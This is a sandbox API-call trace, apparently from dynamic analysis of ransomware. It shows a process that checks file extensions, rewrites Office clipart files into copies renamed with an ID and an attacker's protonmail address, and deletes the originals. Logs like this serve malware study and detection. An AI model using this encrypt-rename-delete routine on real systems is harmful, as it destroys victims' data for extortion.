	[0187.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0187.954] lstrlenW (lpString=".jpg") returned 4
	[0187.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0187.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0187.954] lstrlenW (lpString=".doc") returned 4
	[0187.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.954] lstrlenW (lpString=".docx") returned 5
	[0187.954] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0187.954] lstrlenW (lpString=".pdf") returned 4
	[0187.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.954] lstrlenW (lpString=".xls") returned 4
	[0187.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.954] lstrlenW (lpString=".xlsx") returned 5
	[0187.955] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0187.955] lstrlenW (lpString=".ppt") returned 4
	[0187.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0187.955] lstrlenW (lpString=".zip") returned 4
	[0187.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.955] lstrlenW (lpString=".rar") returned 4
	[0187.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.955] lstrlenW (lpString=".bz2") returned 4
	[0187.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.955] lstrlenW (lpString=".7z") returned 3
	[0187.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0187.955] lstrlenW (lpString=".dbf") returned 4
	[0187.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0187.955] lstrlenW (lpString=".1cd") returned 4
	[0187.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0187.955] lstrlenW (lpString=".jpg") returned 4
	[0187.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.956] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0187.956] lstrlenW (lpString="J0099205.WMF") returned 12
	[0187.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0187.957] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=17854) returned 1
	[0187.957] CloseHandle (hObject=0x5ac) returned 1
	[0187.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 0x220
	[0187.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0187.958] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.958] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0187.959] GetLastError () returned 0x0
	[0187.959] ReadFile (in: hFile=0x5ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x45be, lpOverlapped=0x0) returned 1
	[0187.961] WriteFile (in: hFile=0x588, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x45c0, lpOverlapped=0x0) returned 1
	[0187.963] ReadFile (in: hFile=0x5ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.963] WriteFile (in: hFile=0x588, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.963] SetEndOfFile (hFile=0x588) returned 1
	[0187.963] CloseHandle (hObject=0x588) returned 1
	[0187.963] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.963] SetEndOfFile (hFile=0x5ac) returned 1
	[0187.966] CloseHandle (hObject=0x5ac) returned 1
	[0187.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 1
	[0187.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0187.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0187.994] lstrlenW (lpString=".doc") returned 4
	[0187.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.994] lstrlenW (lpString=".docx") returned 5
	[0187.995] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0187.995] lstrlenW (lpString=".pdf") returned 4
	[0187.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.995] lstrlenW (lpString=".xls") returned 4
	[0187.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.995] lstrlenW (lpString=".xlsx") returned 5
	[0187.995] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0187.995] lstrlenW (lpString=".ppt") returned 4
	[0187.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0187.995] lstrlenW (lpString=".zip") returned 4
	[0187.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.995] lstrlenW (lpString=".rar") returned 4
	[0187.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.995] lstrlenW (lpString=".bz2") returned 4
	[0187.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.995] lstrlenW (lpString=".7z") returned 3
	[0187.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0187.995] lstrlenW (lpString=".dbf") returned 4
	[0187.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0187.995] lstrlenW (lpString=".1cd") returned 4
	[0187.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0187.995] lstrlenW (lpString=".jpg") returned 4
	[0187.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0187.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0187.996] lstrlenW (lpString=".doc") returned 4
	[0187.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.996] lstrlenW (lpString=".docx") returned 5
	[0187.996] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0187.996] lstrlenW (lpString=".pdf") returned 4
	[0187.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.996] lstrlenW (lpString=".xls") returned 4
	[0187.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.996] lstrlenW (lpString=".xlsx") returned 5
	[0187.996] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0187.996] lstrlenW (lpString=".ppt") returned 4
	[0187.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0187.996] lstrlenW (lpString=".zip") returned 4
	[0187.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.996] lstrlenW (lpString=".rar") returned 4
	[0187.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.996] lstrlenW (lpString=".bz2") returned 4
	[0187.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.996] lstrlenW (lpString=".7z") returned 3
	[0187.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0187.996] lstrlenW (lpString=".dbf") returned 4
	[0187.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0187.997] lstrlenW (lpString=".1cd") returned 4
	[0187.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0187.997] lstrlenW (lpString=".jpg") returned 4
	[0187.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.997] lstrcmpiW (lpString1=".BMP", lpString2=".html") returned -1
	[0187.997] lstrlenW (lpString="J0101857.BMP") returned 12
	[0187.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0188.284] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=32184) returned 1
	[0188.284] CloseHandle (hObject=0x574) returned 1
	[0188.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 0x220
	[0188.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0188.285] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.285] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0188.286] GetLastError () returned 0x0
	[0188.287] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0188.289] WriteFile (in: hFile=0x46c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0188.291] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.291] WriteFile (in: hFile=0x46c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0188.291] SetEndOfFile (hFile=0x46c) returned 1
	[0188.292] CloseHandle (hObject=0x46c) returned 1
	[0188.292] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.292] SetEndOfFile (hFile=0x574) returned 1
	[0188.295] CloseHandle (hObject=0x574) returned 1
	[0188.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0188.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 1
	[0188.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0188.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0188.297] lstrlenW (lpString=".doc") returned 4
	[0188.297] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0188.297] lstrlenW (lpString=".docx") returned 5
	[0188.297] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1
	[0188.297] lstrlenW (lpString=".pdf") returned 4
	[0188.297] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0188.297] lstrlenW (lpString=".xls") returned 4
	[0188.297] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0188.297] lstrlenW (lpString=".xlsx") returned 5
	[0188.298] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1
	[0188.298] lstrlenW (lpString=".ppt") returned 4
	[0188.298] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0188.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0188.298] lstrlenW (lpString=".zip") returned 4
	[0188.298] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0188.298] lstrlenW (lpString=".rar") returned 4
	[0188.298] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0188.298] lstrlenW (lpString=".bz2") returned 4
	[0188.298] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0188.298] lstrlenW (lpString=".7z") returned 3
	[0188.298] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0188.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0188.298] lstrlenW (lpString=".dbf") returned 4
	[0188.298] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0188.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0188.298] lstrlenW (lpString=".1cd") returned 4
	[0188.298] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0188.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0188.298] lstrlenW (lpString=".jpg") returned 4
	[0188.298] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0188.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0188.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0188.298] lstrlenW (lpString=".doc") returned 4
	[0188.298] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0188.298] lstrlenW (lpString=".docx") returned 5
	[0188.298] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1
	[0188.298] lstrlenW (lpString=".pdf") returned 4
	[0188.298] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0188.299] lstrlenW (lpString=".xls") returned 4
	[0188.299] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0188.299] lstrlenW (lpString=".xlsx") returned 5
	[0188.299] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1
	[0188.299] lstrlenW (lpString=".ppt") returned 4
	[0188.299] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0188.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0188.299] lstrlenW (lpString=".zip") returned 4
	[0188.299] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0188.299] lstrlenW (lpString=".rar") returned 4
	[0188.299] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0188.299] lstrlenW (lpString=".bz2") returned 4
	[0188.299] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0188.299] lstrlenW (lpString=".7z") returned 3
	[0188.299] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0188.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0188.299] lstrlenW (lpString=".dbf") returned 4
	[0188.299] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0188.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0188.299] lstrlenW (lpString=".1cd") returned 4
	[0188.299] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0188.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0188.299] lstrlenW (lpString=".jpg") returned 4
	[0188.299] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0188.299] lstrcmpiW (lpString1=".BMP", lpString2=".html") returned -1
	[0188.300] lstrlenW (lpString="J0101858.BMP") returned 12
	[0188.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0188.301] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=32184) returned 1
	[0188.301] CloseHandle (hObject=0x574) returned 1
	[0188.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 0x220
	[0188.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0188.302] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.302] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0188.303] GetLastError () returned 0x0
	[0188.303] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0188.306] WriteFile (in: hFile=0x46c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0188.307] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.307] WriteFile (in: hFile=0x46c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0188.308] SetEndOfFile (hFile=0x46c) returned 1
	[0188.308] CloseHandle (hObject=0x46c) returned 1
	[0188.308] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.308] SetEndOfFile (hFile=0x574) returned 1
	[0188.311] CloseHandle (hObject=0x574) returned 1
	[0188.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0188.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 1
	[0188.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0188.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0188.313] lstrlenW (lpString=".doc") returned 4
	[0188.313] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0188.313] lstrlenW (lpString=".docx") returned 5
	[0188.313] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1
	[0188.313] lstrlenW (lpString=".pdf") returned 4
	[0188.313] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0188.313] lstrlenW (lpString=".xls") returned 4
	[0188.313] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0188.313] lstrlenW (lpString=".xlsx") returned 5
	[0188.313] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1
	[0188.313] lstrlenW (lpString=".ppt") returned 4
	[0188.313] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0188.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0188.313] lstrlenW (lpString=".zip") returned 4
	[0188.313] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0188.313] lstrlenW (lpString=".rar") returned 4
	[0188.313] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0188.314] lstrlenW (lpString=".bz2") returned 4
	[0188.314] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0188.314] lstrlenW (lpString=".7z") returned 3
	[0188.314] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0188.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0188.314] lstrlenW (lpString=".dbf") returned 4
	[0188.314] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0188.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0188.314] lstrlenW (lpString=".1cd") returned 4
	[0188.314] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0188.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
